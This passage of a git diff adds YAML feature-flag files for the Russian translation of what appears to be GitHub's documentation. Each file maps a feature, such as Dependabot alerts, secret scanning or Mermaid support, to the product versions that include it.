b/translations/ru-RU/data/features/dependabot-alerts-dismissal-comment.yml new file mode 100644 index 000000000000..255ea4a959a7 --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-alerts-dismissal-comment.yml @@ -0,0 +1,7 @@ +# Reference: Issue #7673 - Dependabot alerts: optional comment with dismissal - [GA] + +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7673' diff --git a/translations/ru-RU/data/features/dependabot-alerts-vulnerable-calls.yml b/translations/ru-RU/data/features/dependabot-alerts-vulnerable-calls.yml new file mode 100644 index 000000000000..5b3645f3c51c --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-alerts-vulnerable-calls.yml @@ -0,0 +1,5 @@ +# Reference: Issue #6076 introduction of label for "vulnerable calls" in Dependabot alerts +versions: + fpt: '*' + ghec: '*' + ghae: 'issue-6076' diff --git a/translations/ru-RU/data/features/dependabot-bulk-alerts.yml b/translations/ru-RU/data/features/dependabot-bulk-alerts.yml new file mode 100644 index 000000000000..df64f2964608 --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-bulk-alerts.yml @@ -0,0 +1,6 @@ +# Reference: Issue #6076 ability to dismiss or re-open multiple Dependabot alerts +versions: + fpt: '*' + ghec: '*' + ghes: '>3.5' + ghae: 'issue-6628' diff --git a/translations/ru-RU/data/features/dependabot-grouped-dependencies.yml b/translations/ru-RU/data/features/dependabot-grouped-dependencies.yml new file mode 100644 index 000000000000..5c3e27e08c29 --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-grouped-dependencies.yml @@ -0,0 +1,7 @@ +# Reference: #6913 +# Dependabot support for TypeScript @types/* +versions: + fpt: '*' + ghec: '*' + ghes: '>3.5' + ghae: 'issue-6913' diff --git a/translations/ru-RU/data/features/dependabot-most-important-sort-option.yml b/translations/ru-RU/data/features/dependabot-most-important-sort-option.yml new file mode 100644 index 000000000000..cf0c3b6f1848 --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-most-important-sort-option.yml @@ -0,0 +1,7 @@ +# Reference: Issue #7510 - Dependabot alerts: "Most important" sort (prioritization score) - [GA] + +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7510' diff --git a/translations/ru-RU/data/features/dependabot-settings-update-37.yml b/translations/ru-RU/data/features/dependabot-settings-update-37.yml new file mode 100644 index 000000000000..bd8344f33bb6 --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-settings-update-37.yml @@ -0,0 +1,6 @@ +# Reference: Issue #7044 Update repository settings for Dependabot to include shortcut for Version updates +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7044' diff --git a/translations/ru-RU/data/features/dependabot-updates-github-connect.yml b/translations/ru-RU/data/features/dependabot-updates-github-connect.yml new file mode 100644 index 000000000000..7f81be942ea9 --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-updates-github-connect.yml @@ -0,0 +1,3 @@ +versions: + ghes: '>=3.4' + ghae: 'issue-5867' diff --git a/translations/ru-RU/data/features/dependency-graph-rust-support.yml b/translations/ru-RU/data/features/dependency-graph-rust-support.yml new file mode 100644 index 000000000000..5fc3fbe4ede0 --- /dev/null +++ b/translations/ru-RU/data/features/dependency-graph-rust-support.yml @@ -0,0 +1,6 @@ +# Reference: Issue #6964 Support for Rust manifest parsing in Dependency graph +versions: + fpt: '*' + ghec: '*' + ghes: '>3.5' + ghae: 'issue-6964' diff --git a/translations/ru-RU/data/features/dependency-review-action-configuration.yml b/translations/ru-RU/data/features/dependency-review-action-configuration.yml new file mode 100644 index 000000000000..557594cb3b6f --- /dev/null +++ b/translations/ru-RU/data/features/dependency-review-action-configuration.yml @@ -0,0 +1,6 @@ +# Reference: Issue #7061 Configuring the dependency review action - [Public Beta] +versions: + fpt: '*' + ghec: '*' + ghes: '>3.5' + ghae: 'issue-7061' diff --git a/translations/ru-RU/data/features/dependency-review-action-ghes.yml b/translations/ru-RU/data/features/dependency-review-action-ghes.yml new file mode 100644 index 000000000000..5ce8fa024aa2 --- /dev/null +++ b/translations/ru-RU/data/features/dependency-review-action-ghes.yml @@ -0,0 +1,4 @@ +# Reference: Issue #7753 Dependency review action has shipped with GHES 3.6 and needs admin docs +versions: + ghes: '>3.5' + ghae: 'issue-7753' diff --git a/translations/ru-RU/data/features/dependency-review-action-licenses.yml b/translations/ru-RU/data/features/dependency-review-action-licenses.yml new file mode 100644 index 000000000000..ec85ab9be078 --- /dev/null +++ b/translations/ru-RU/data/features/dependency-review-action-licenses.yml @@ -0,0 +1,4 @@ +# Reference: Issue #7486 Configuring the dependency review action - [Public Beta] for GHES +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/dependency-submission-api.yml b/translations/ru-RU/data/features/dependency-submission-api.yml new file mode 100644 index 000000000000..6ab5ae4ed158 --- /dev/null +++ b/translations/ru-RU/data/features/dependency-submission-api.yml @@ -0,0 +1,7 @@ +# Reference: #6397 +# Documentation for dependency submission API (beta) +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-6397' diff --git a/translations/ru-RU/data/features/device-flow-is-opt-in.yml b/translations/ru-RU/data/features/device-flow-is-opt-in.yml new file mode 100644 index 000000000000..543d525448bf --- /dev/null +++ b/translations/ru-RU/data/features/device-flow-is-opt-in.yml @@ -0,0 +1,6 @@ +# docs-content 6307. OAuth device auth flow is opt in. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.4' + ghae: 'issue-6307' diff --git a/translations/ru-RU/data/features/discussions.yml b/translations/ru-RU/data/features/discussions.yml new file mode 100644 index 000000000000..66a3bb8592a4 --- /dev/null +++ b/translations/ru-RU/data/features/discussions.yml @@ -0,0 +1,4 @@ +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' diff --git a/translations/ru-RU/data/features/docker-ghcr-enterprise-migration.yml b/translations/ru-RU/data/features/docker-ghcr-enterprise-migration.yml new file mode 100644 index 000000000000..993fa2f523a5 --- /dev/null +++ b/translations/ru-RU/data/features/docker-ghcr-enterprise-migration.yml @@ -0,0 +1,4 @@ +# Reference: #7360 +# Documentation for migration from Docker registry to Container registry for enterprise products +versions: + ghes: '>= 3.6' diff --git a/translations/ru-RU/data/features/enable-git-events.yml b/translations/ru-RU/data/features/enable-git-events.yml new file mode 100644 index 000000000000..29ac43099f6c --- /dev/null +++ b/translations/ru-RU/data/features/enable-git-events.yml @@ -0,0 +1,5 @@ +# Reference: #7283 +# Documentation for enabling Git events in the audit log +versions: + ghes: '>=3.5' + ghae: 'issue-7283' diff --git a/translations/ru-RU/data/features/enterprise-audit-log-ip-addresses.yml b/translations/ru-RU/data/features/enterprise-audit-log-ip-addresses.yml new file mode 100644 index 000000000000..fd52e97977aa --- /dev/null +++ b/translations/ru-RU/data/features/enterprise-audit-log-ip-addresses.yml @@ -0,0 +1,4 @@ +# Reference: #6972 +# Documentation for IP addresses in the enterprise audit log (public beta) +versions: + ghec: '*' diff --git a/translations/ru-RU/data/features/enterprise-membership-view-improvements.yml b/translations/ru-RU/data/features/enterprise-membership-view-improvements.yml new file mode 100644 index 000000000000..27d315b81664 --- /dev/null +++ b/translations/ru-RU/data/features/enterprise-membership-view-improvements.yml @@ -0,0 +1,4 @@ +versions: + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6344' diff --git a/translations/ru-RU/data/features/enterprise-namespace-repo-setting.yml b/translations/ru-RU/data/features/enterprise-namespace-repo-setting.yml new file mode 100644 index 000000000000..0902b94af9dc --- /dev/null +++ b/translations/ru-RU/data/features/enterprise-namespace-repo-setting.yml @@ -0,0 +1,6 @@ +# Reference: #7757 +# Setting to disable personal namespace repo creation for EMUs, GHES 3.7+ and GHAE 3.7+ users +versions: + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7757' diff --git a/translations/ru-RU/data/features/enterprise-owner-join-org.yml b/translations/ru-RU/data/features/enterprise-owner-join-org.yml new file mode 100644 index 000000000000..7ed560a15f1f --- /dev/null +++ b/translations/ru-RU/data/features/enterprise-owner-join-org.yml @@ -0,0 +1,4 @@ +versions: + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-5740' diff --git a/translations/ru-RU/data/features/enterprise-owners-visible-for-org-members.yml b/translations/ru-RU/data/features/enterprise-owners-visible-for-org-members.yml new file mode 100644 index 000000000000..2cc9348ee3ca --- /dev/null +++ b/translations/ru-RU/data/features/enterprise-owners-visible-for-org-members.yml @@ -0,0 +1,6 @@ +# Reference: Issue #5741 in docs-content +# Documentation for enterprise owners UI updates +versions: + ghes: '>=3.4' + ghae: 'issue-5741' + ghec: '*' diff --git a/translations/ru-RU/data/features/file-finder-exclusion-controls.yml b/translations/ru-RU/data/features/file-finder-exclusion-controls.yml new file mode 100644 index 000000000000..3c2312353682 --- /dev/null +++ b/translations/ru-RU/data/features/file-finder-exclusion-controls.yml @@ -0,0 +1,7 @@ +# Reference: Issue #7579 - Improved file finder exclusion controls + +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7579' diff --git a/translations/ru-RU/data/features/fixed-width-font-gfm-fields.yml b/translations/ru-RU/data/features/fixed-width-font-gfm-fields.yml new file mode 100644 index 000000000000..d0d51209f679 --- /dev/null +++ b/translations/ru-RU/data/features/fixed-width-font-gfm-fields.yml @@ -0,0 +1,7 @@ +# Reference: #5278. +# Documentation for the fixed-width font support for markdown fields. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.4' + ghae: 'issue-5278' diff --git a/translations/ru-RU/data/features/for-you-feed.yml b/translations/ru-RU/data/features/for-you-feed.yml new file mode 100644 index 000000000000..72ecc3755f21 --- /dev/null +++ b/translations/ru-RU/data/features/for-you-feed.yml @@ -0,0 +1,6 @@ +# Issues 4834 and 5722 +# New feed for personal dashboards and option to follow organizations +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' diff --git a/translations/ru-RU/data/features/geoJSON-with-MapBox.yml b/translations/ru-RU/data/features/geoJSON-with-MapBox.yml new file mode 100644 index 000000000000..d53d3e1d6d2a --- /dev/null +++ b/translations/ru-RU/data/features/geoJSON-with-MapBox.yml @@ -0,0 +1,5 @@ +# Reference: #7429 +# Dotcom now uses Azure maps for geoJSON, but GHES/AE will still use the existing MapBox system +versions: + ghes: '*' + ghae: '*' diff --git a/translations/ru-RU/data/features/ghas-committers-calculator.yml b/translations/ru-RU/data/features/ghas-committers-calculator.yml new file mode 100644 index 000000000000..c948d9cbc956 --- /dev/null +++ b/translations/ru-RU/data/features/ghas-committers-calculator.yml @@ -0,0 +1,2 @@ +versions: + ghes: '*' diff --git a/translations/ru-RU/data/features/ghas-enablement-webhook.yml b/translations/ru-RU/data/features/ghas-enablement-webhook.yml new file mode 100644 index 000000000000..402540e12ca9 --- /dev/null +++ b/translations/ru-RU/data/features/ghas-enablement-webhook.yml @@ -0,0 +1,5 @@ +# docs-content 7314. GHAS enablement webhook +versions: + ghec: '*' + ghes: '>= 3.6' + ghae: 'issue-7314' diff --git a/translations/ru-RU/data/features/ghe-announce-dismiss.yml b/translations/ru-RU/data/features/ghe-announce-dismiss.yml new file mode 100644 index 000000000000..f0efe090f43c --- /dev/null +++ b/translations/ru-RU/data/features/ghe-announce-dismiss.yml @@ -0,0 +1,5 @@ +# Reference: #2221. +# Documentation for dismissing GHES announcement banner +versions: + ghes: '>=3.6' + ghae: 'issue-6764' diff --git a/translations/ru-RU/data/features/git-events-audit-log.yml b/translations/ru-RU/data/features/git-events-audit-log.yml new file mode 100644 index 000000000000..1c2fba042ab6 --- /dev/null +++ b/translations/ru-RU/data/features/git-events-audit-log.yml @@ -0,0 +1,6 @@ +# Reference: #6724 +# Documentation for Git events in the audit log +versions: + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-6724' diff --git a/translations/ru-RU/data/features/github-actions-in-dependency-graph.yml b/translations/ru-RU/data/features/github-actions-in-dependency-graph.yml new file mode 100644 index 000000000000..c35288895575 --- /dev/null +++ b/translations/ru-RU/data/features/github-actions-in-dependency-graph.yml @@ -0,0 +1,7 @@ +# Reference: #5813. +# Documentation for GitHub Actions workflow dependencies appearing in the dependency graph +versions: + fpt: '*' + ghae: 'issue-5813' + ghes: '>3.4' + ghec: '*' diff --git a/translations/ru-RU/data/features/github-runner-dashboard.yml b/translations/ru-RU/data/features/github-runner-dashboard.yml new file mode 100644 index 000000000000..14ba8f5e2d5b --- /dev/null +++ b/translations/ru-RU/data/features/github-runner-dashboard.yml @@ -0,0 +1,3 @@ +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/githubdev-editor.yml b/translations/ru-RU/data/features/githubdev-editor.yml new file mode 100644 index 000000000000..78af2427c156 --- /dev/null +++ b/translations/ru-RU/data/features/githubdev-editor.yml @@ -0,0 +1,5 @@ +# Reference: #4918, #7438. +# Documentation for the github.dev web-based editor +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/innersource-fork-policies.yml b/translations/ru-RU/data/features/innersource-fork-policies.yml new file mode 100644 index 000000000000..2b564effad30 --- /dev/null +++ b/translations/ru-RU/data/features/innersource-fork-policies.yml @@ -0,0 +1,7 @@ +# Reference: #6035 #6036 #6037 +# Documentation for enterprise policies that define where forks can be created. + +versions: + ghec: '*' + ghes: '>3.6' + ghae: 'issue-6035' diff --git a/translations/ru-RU/data/features/integration-branch-protection-exceptions.yml b/translations/ru-RU/data/features/integration-branch-protection-exceptions.yml new file mode 100644 index 000000000000..50d2e94a3a56 --- /dev/null +++ b/translations/ru-RU/data/features/integration-branch-protection-exceptions.yml @@ -0,0 +1,7 @@ +# Reference: #6665 +# GitHub Apps are supported as actors in all types of exceptions to branch protections +versions: + fpt: '*' + ghec: '*' + ghes: '>= 3.6' + ghae: 'issue-6665' diff --git a/translations/ru-RU/data/features/internal-actions.yml b/translations/ru-RU/data/features/internal-actions.yml new file mode 100644 index 000000000000..e4420a21cfe7 --- /dev/null +++ b/translations/ru-RU/data/features/internal-actions.yml @@ -0,0 +1,4 @@ +versions: + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-5610' diff --git a/translations/ru-RU/data/features/ip-allow-list-address-check.yml b/translations/ru-RU/data/features/ip-allow-list-address-check.yml new file mode 100644 index 000000000000..c4dda87a7019 --- /dev/null +++ b/translations/ru-RU/data/features/ip-allow-list-address-check.yml @@ -0,0 +1,3 @@ +versions: + ghec: '*' + ghae: 'issue-7818' diff --git a/translations/ru-RU/data/features/ip-exception-list.yml b/translations/ru-RU/data/features/ip-exception-list.yml new file mode 100644 index 000000000000..25902ba928ed --- /dev/null +++ b/translations/ru-RU/data/features/ip-exception-list.yml @@ -0,0 +1,2 @@ +versions: + ghes: '>=3.5' diff --git a/translations/ru-RU/data/features/issue-close-reasons.yml b/translations/ru-RU/data/features/issue-close-reasons.yml new file mode 100644 index 000000000000..13589fc25ce5 --- /dev/null +++ b/translations/ru-RU/data/features/issue-close-reasons.yml @@ -0,0 +1,7 @@ +# Issues 6363 +# Closed issue states +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6363' diff --git a/translations/ru-RU/data/features/job-hooks-for-runners.yml b/translations/ru-RU/data/features/job-hooks-for-runners.yml new file mode 100644 index 000000000000..568ccdec80fe --- /dev/null +++ b/translations/ru-RU/data/features/job-hooks-for-runners.yml @@ -0,0 +1,7 @@ +# Reference: #6530 +# Running scripts before or after a job +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6530' diff --git a/translations/ru-RU/data/features/keyboard-shortcut-accessibility-setting.yml b/translations/ru-RU/data/features/keyboard-shortcut-accessibility-setting.yml new file mode 100644 index 000000000000..df13e39e005d --- /dev/null +++ b/translations/ru-RU/data/features/keyboard-shortcut-accessibility-setting.yml @@ -0,0 +1,7 @@ +# Reference: #4999. +# Documentation for the security manager org-level role +versions: + fpt: '*' + ghes: '>=3.4' + ghae: 'issue-5430' + ghec: '*' diff --git a/translations/ru-RU/data/features/math-fenced-blocks.yml b/translations/ru-RU/data/features/math-fenced-blocks.yml new file mode 100644 index 000000000000..56e2025e64ca --- /dev/null +++ b/translations/ru-RU/data/features/math-fenced-blocks.yml @@ -0,0 +1,7 @@ +# Reference: #7471. +# Documentation for fenced math blocks in markdown. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7471' diff --git a/translations/ru-RU/data/features/math.yml b/translations/ru-RU/data/features/math.yml new file mode 100644 index 000000000000..82aceb6233c6 --- /dev/null +++ b/translations/ru-RU/data/features/math.yml @@ -0,0 +1,7 @@ +# Issues 6054 +# Math support using LaTeX syntax +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6054' diff --git a/translations/ru-RU/data/features/mermaid.yml b/translations/ru-RU/data/features/mermaid.yml new file mode 100644 index 000000000000..60c43d802c3b --- /dev/null +++ b/translations/ru-RU/data/features/mermaid.yml @@ -0,0 +1,7 @@ +# Issues 5812 and 6172, also 6411 +# Mermaid syntax support, also ASCII STL and geoJSON/topoJSON syntax support +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-6172' diff --git a/translations/ru-RU/data/features/motion-management.yml b/translations/ru-RU/data/features/motion-management.yml new file mode 100644 index 000000000000..82f51d11f54a --- /dev/null +++ b/translations/ru-RU/data/features/motion-management.yml @@ -0,0 +1,7 @@ +# Issue 6523 +# Support for customizing the automatic playback of animated images in the web interface +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6523' diff --git a/translations/ru-RU/data/features/multiple-accounts-one-workstation.yml b/translations/ru-RU/data/features/multiple-accounts-one-workstation.yml new file mode 100644 index 000000000000..8f0bbb69e826 --- /dev/null +++ b/translations/ru-RU/data/features/multiple-accounts-one-workstation.yml @@ -0,0 +1,6 @@ +# Issue #7330 +# Documentation for managing multiple GitHub accounts on one workstation + +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/nested-reusable-workflow.yml b/translations/ru-RU/data/features/nested-reusable-workflow.yml new file mode 100644 index 000000000000..702f7ac1c1fd --- /dev/null +++ b/translations/ru-RU/data/features/nested-reusable-workflow.yml @@ -0,0 +1,7 @@ +# Issues 7093 +# Reusable workflows can call other reusable workflows +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7093' diff --git a/translations/ru-RU/data/features/oidc-for-emu.yml b/translations/ru-RU/data/features/oidc-for-emu.yml new file mode 100644 index 000000000000..3d999160e8d1 --- /dev/null +++ b/translations/ru-RU/data/features/oidc-for-emu.yml @@ -0,0 +1,5 @@ +# Issues 6495 and 6494 +# OIDC/CAP for Enterprise Managed Users +versions: + ghec: '*' + ghae: 'issue-6495' diff --git a/translations/ru-RU/data/features/only-notify-requested-members.yml b/translations/ru-RU/data/features/only-notify-requested-members.yml new file mode 100644 index 000000000000..8a9af01b18c4 --- /dev/null +++ b/translations/ru-RU/data/features/only-notify-requested-members.yml @@ -0,0 +1,7 @@ +# Issue #5108 +# Documentation for the "Only notify requested team members" option in the code review settings +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.4' + ghae: 'issue-5108' diff --git a/translations/ru-RU/data/features/org-profile-pin-private.yml b/translations/ru-RU/data/features/org-profile-pin-private.yml new file mode 100644 index 000000000000..bd30226a3e6e --- /dev/null +++ b/translations/ru-RU/data/features/org-profile-pin-private.yml @@ -0,0 +1,7 @@ +# Issue #6171 +# Documentation for the "Org profile pin private/internal repos" +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6171' diff --git a/translations/ru-RU/data/features/packages-npm-v2.yml b/translations/ru-RU/data/features/packages-npm-v2.yml new file mode 100644 index 000000000000..aaebb7fbfcd2 --- /dev/null +++ b/translations/ru-RU/data/features/packages-npm-v2.yml @@ -0,0 +1,5 @@ +# Issue 7039 +# npm Package Registry Improvements (v2) GA +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/pages-custom-workflow.yml b/translations/ru-RU/data/features/pages-custom-workflow.yml new file mode 100644 index 000000000000..94ab08b480be --- /dev/null +++ b/translations/ru-RU/data/features/pages-custom-workflow.yml @@ -0,0 +1,5 @@ +# Issue 7066 +# Publishing Pages via custom Actions workflow +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/partial-reruns-with-reusable.yml b/translations/ru-RU/data/features/partial-reruns-with-reusable.yml new file mode 100644 index 000000000000..4ef640e20f1e --- /dev/null +++ b/translations/ru-RU/data/features/partial-reruns-with-reusable.yml @@ -0,0 +1,6 @@ +# Issue #7062 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-7062' diff --git a/translations/ru-RU/data/features/pause-audit-log-stream.yml b/translations/ru-RU/data/features/pause-audit-log-stream.yml new file mode 100644 index 000000000000..9940c92ee7e8 --- /dev/null +++ b/translations/ru-RU/data/features/pause-audit-log-stream.yml @@ -0,0 +1,4 @@ +# Reference #4640 +# Documentation for pausing an audit log stream +versions: + ghec: '*' diff --git a/translations/ru-RU/data/features/placeholder.yml b/translations/ru-RU/data/features/placeholder.yml new file mode 100644 index 000000000000..17ea1d65740f --- /dev/null +++ b/translations/ru-RU/data/features/placeholder.yml @@ -0,0 +1,5 @@ +# Do not delete! Used by tests. +versions: + ghes: '>3.0' + ghec: '*' + ghae: '*' diff --git a/translations/ru-RU/data/features/pr-tree-view.yml b/translations/ru-RU/data/features/pr-tree-view.yml new file mode 100644 index 000000000000..7e93dea28867 --- /dev/null +++ b/translations/ru-RU/data/features/pr-tree-view.yml @@ -0,0 +1,7 @@ +# Issue 5892 +# PR file tree view +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-5892' diff --git a/translations/ru-RU/data/features/prevent-org-admin-add-outside-collaborator.yml b/translations/ru-RU/data/features/prevent-org-admin-add-outside-collaborator.yml new file mode 100644 index 000000000000..b26850a422c5 --- /dev/null +++ b/translations/ru-RU/data/features/prevent-org-admin-add-outside-collaborator.yml @@ -0,0 +1,4 @@ +versions: + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6336' diff --git a/translations/ru-RU/data/features/previous-release-tag.yml b/translations/ru-RU/data/features/previous-release-tag.yml new file mode 100644 index 000000000000..45d24c0a1cd3 --- /dev/null +++ b/translations/ru-RU/data/features/previous-release-tag.yml @@ -0,0 +1,7 @@ +# Issue 7052 +# Adding a previous (release) tag for users when creating a new release and autogenerating release notes +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-7052' diff --git a/translations/ru-RU/data/features/project-beta-webhooks.yml b/translations/ru-RU/data/features/project-beta-webhooks.yml new file mode 100644 index 000000000000..757aa1a65b96 --- /dev/null +++ b/translations/ru-RU/data/features/project-beta-webhooks.yml @@ -0,0 +1,5 @@ +# Issue 6981 +# Projects (beta) webhooks +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/projects-oauth-scope.yml b/translations/ru-RU/data/features/projects-oauth-scope.yml new file mode 100644 index 000000000000..5e7e86fd1c2c --- /dev/null +++ b/translations/ru-RU/data/features/projects-oauth-scope.yml @@ -0,0 +1,5 @@ +# Issue 7302 +# ProjectV2 GraphQL API +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/projects-v1.yml b/translations/ru-RU/data/features/projects-v1.yml new file mode 100644 index 000000000000..c217fc003d65 --- /dev/null +++ b/translations/ru-RU/data/features/projects-v1.yml @@ -0,0 +1,8 @@ +# Issue 6980 +# Projects (classic) +# n.b. /managing-project-boards/copying-a-project-board.md retains ghec/fpt versioning. +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' diff --git a/translations/ru-RU/data/features/projects-v2.yml b/translations/ru-RU/data/features/projects-v2.yml new file mode 100644 index 000000000000..54ea4f28add1 --- /dev/null +++ b/translations/ru-RU/data/features/projects-v2.yml @@ -0,0 +1,6 @@ +# Issue 6980 +# ProjectV2 GA +versions: + fpt: '*' + ghec: '*' + ghae: 'issue-6980' diff --git a/translations/ru-RU/data/features/pull-request-approval-limit.yml b/translations/ru-RU/data/features/pull-request-approval-limit.yml new file mode 100644 index 000000000000..54b8e0fe9a79 --- /dev/null +++ b/translations/ru-RU/data/features/pull-request-approval-limit.yml @@ -0,0 +1,5 @@ +# Reference: #5244 +# Documentation for moderation setting to limit who can approve or request changes on a PR. +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/push-protection-custom-link-orgs-beta.yml b/translations/ru-RU/data/features/push-protection-custom-link-orgs-beta.yml new file mode 100644 index 000000000000..c418fb2a45d8 --- /dev/null +++ b/translations/ru-RU/data/features/push-protection-custom-link-orgs-beta.yml @@ -0,0 +1,8 @@ +# Issue 7299 +# Push protection custom links beta flags +# See "push-protection-custom-link-orgs" for the feature +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7299' diff --git a/translations/ru-RU/data/features/push-protection-custom-link-orgs.yml b/translations/ru-RU/data/features/push-protection-custom-link-orgs.yml new file mode 100644 index 000000000000..56d088a28ea3 --- /dev/null +++ b/translations/ru-RU/data/features/push-protection-custom-link-orgs.yml @@ -0,0 +1,8 @@ +# Issue 7299 +# Push protection custom links +# See "push-protection-custom-link-orgs-beta" for the beta flags +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7299' diff --git a/translations/ru-RU/data/features/re-run-jobs.yml b/translations/ru-RU/data/features/re-run-jobs.yml new file mode 100644 index 000000000000..31a13136bad1 --- /dev/null +++ b/translations/ru-RU/data/features/re-run-jobs.yml @@ -0,0 +1,7 @@ +# Issue 4722 +# Re-running failed jobs in an Actions workflow +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-4722' diff --git a/translations/ru-RU/data/features/remove-enterprise-members.yml b/translations/ru-RU/data/features/remove-enterprise-members.yml new file mode 100644 index 000000000000..cdeeceb96953 --- /dev/null +++ b/translations/ru-RU/data/features/remove-enterprise-members.yml @@ -0,0 +1,3 @@ +versions: + ghec: '*' + ghae: 'issue-5739' diff --git a/translations/ru-RU/data/features/reopen-dependabot-alerts.yml b/translations/ru-RU/data/features/reopen-dependabot-alerts.yml new file mode 100644 index 000000000000..f6ff7fa5970f --- /dev/null +++ b/translations/ru-RU/data/features/reopen-dependabot-alerts.yml @@ -0,0 +1,6 @@ +# Reference 5861 +versions: + fpt: '*' + ghec: '*' + ghes: '>3.4' + ghae: 'issue-5861' diff --git a/translations/ru-RU/data/features/require-tls-for-smtp.yml b/translations/ru-RU/data/features/require-tls-for-smtp.yml new file mode 100644 index 000000000000..4f9de7ca769c --- /dev/null +++ b/translations/ru-RU/data/features/require-tls-for-smtp.yml @@ -0,0 +1,4 @@ +# Reference 7394 +# Documentation for the option to enforce TLS encryption for incoming SMTP connections +versions: + ghes: '>=3.6' diff --git a/translations/ru-RU/data/features/required-deployments.yml b/translations/ru-RU/data/features/required-deployments.yml new file mode 100644 index 000000000000..c1b7fc94d184 --- /dev/null +++ b/translations/ru-RU/data/features/required-deployments.yml @@ -0,0 +1,7 @@ +# Issue 6384 +# Required deployments branch protection rule +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-6384' diff --git a/translations/ru-RU/data/features/restrict-groups-to-workflows.yml b/translations/ru-RU/data/features/restrict-groups-to-workflows.yml new file mode 100644 index 000000000000..0a7b9e5b25ff --- /dev/null +++ b/translations/ru-RU/data/features/restrict-groups-to-workflows.yml @@ -0,0 +1,6 @@ +# Issue 6137 +# Restrict self-hosted runner groups to specific workflows +versions: + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-6137' diff --git a/translations/ru-RU/data/features/restrict-pushes-create-branch.yml b/translations/ru-RU/data/features/restrict-pushes-create-branch.yml new file mode 100644 index 000000000000..156a3b601872 --- /dev/null +++ b/translations/ru-RU/data/features/restrict-pushes-create-branch.yml @@ -0,0 +1,7 @@ +# Issue 6045 +# Restrict pushes that create matching branches option, within branch restrictions +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6045' diff --git a/translations/ru-RU/data/features/secret-scanning-alert-audit-log.yml b/translations/ru-RU/data/features/secret-scanning-alert-audit-log.yml new file mode 100644 index 000000000000..c84422b5b43b --- /dev/null +++ b/translations/ru-RU/data/features/secret-scanning-alert-audit-log.yml @@ -0,0 +1,6 @@ +# Reference: #7046. +# Documentation for new audit log events for alerts for secret scanning. +versions: + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-7046' diff --git a/translations/ru-RU/data/features/secret-scanning-audit-log-custom-patterns.yml b/translations/ru-RU/data/features/secret-scanning-audit-log-custom-patterns.yml new file mode 100644 index 000000000000..0318bd397e60 --- /dev/null +++ b/translations/ru-RU/data/features/secret-scanning-audit-log-custom-patterns.yml @@ -0,0 +1,6 @@ +# Reference: #6615. +# Documentation for new audit log events for custom patterns for secret scanning. +versions: + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-6615' diff --git a/translations/ru-RU/data/features/secret-scanning-custom-enterprise-35.yml b/translations/ru-RU/data/features/secret-scanning-custom-enterprise-35.yml new file mode 100644 index 000000000000..3b1d15f78808 --- /dev/null +++ b/translations/ru-RU/data/features/secret-scanning-custom-enterprise-35.yml @@ -0,0 +1,6 @@ +# Issues: changes to custom patterns for secret scanning +# #6367: updates for the "organization level dry runs (Public Beta)" +# #5499: updates for the "repository level dry runs (Public Beta)" +versions: + ghes: '>3.4 <3.7' + ghae: 'issue-6367' diff --git a/translations/ru-RU/data/features/secret-scanning-custom-enterprise-36.yml b/translations/ru-RU/data/features/secret-scanning-custom-enterprise-36.yml new file mode 100644 index 000000000000..a7bdd6be2e57 --- /dev/null +++ 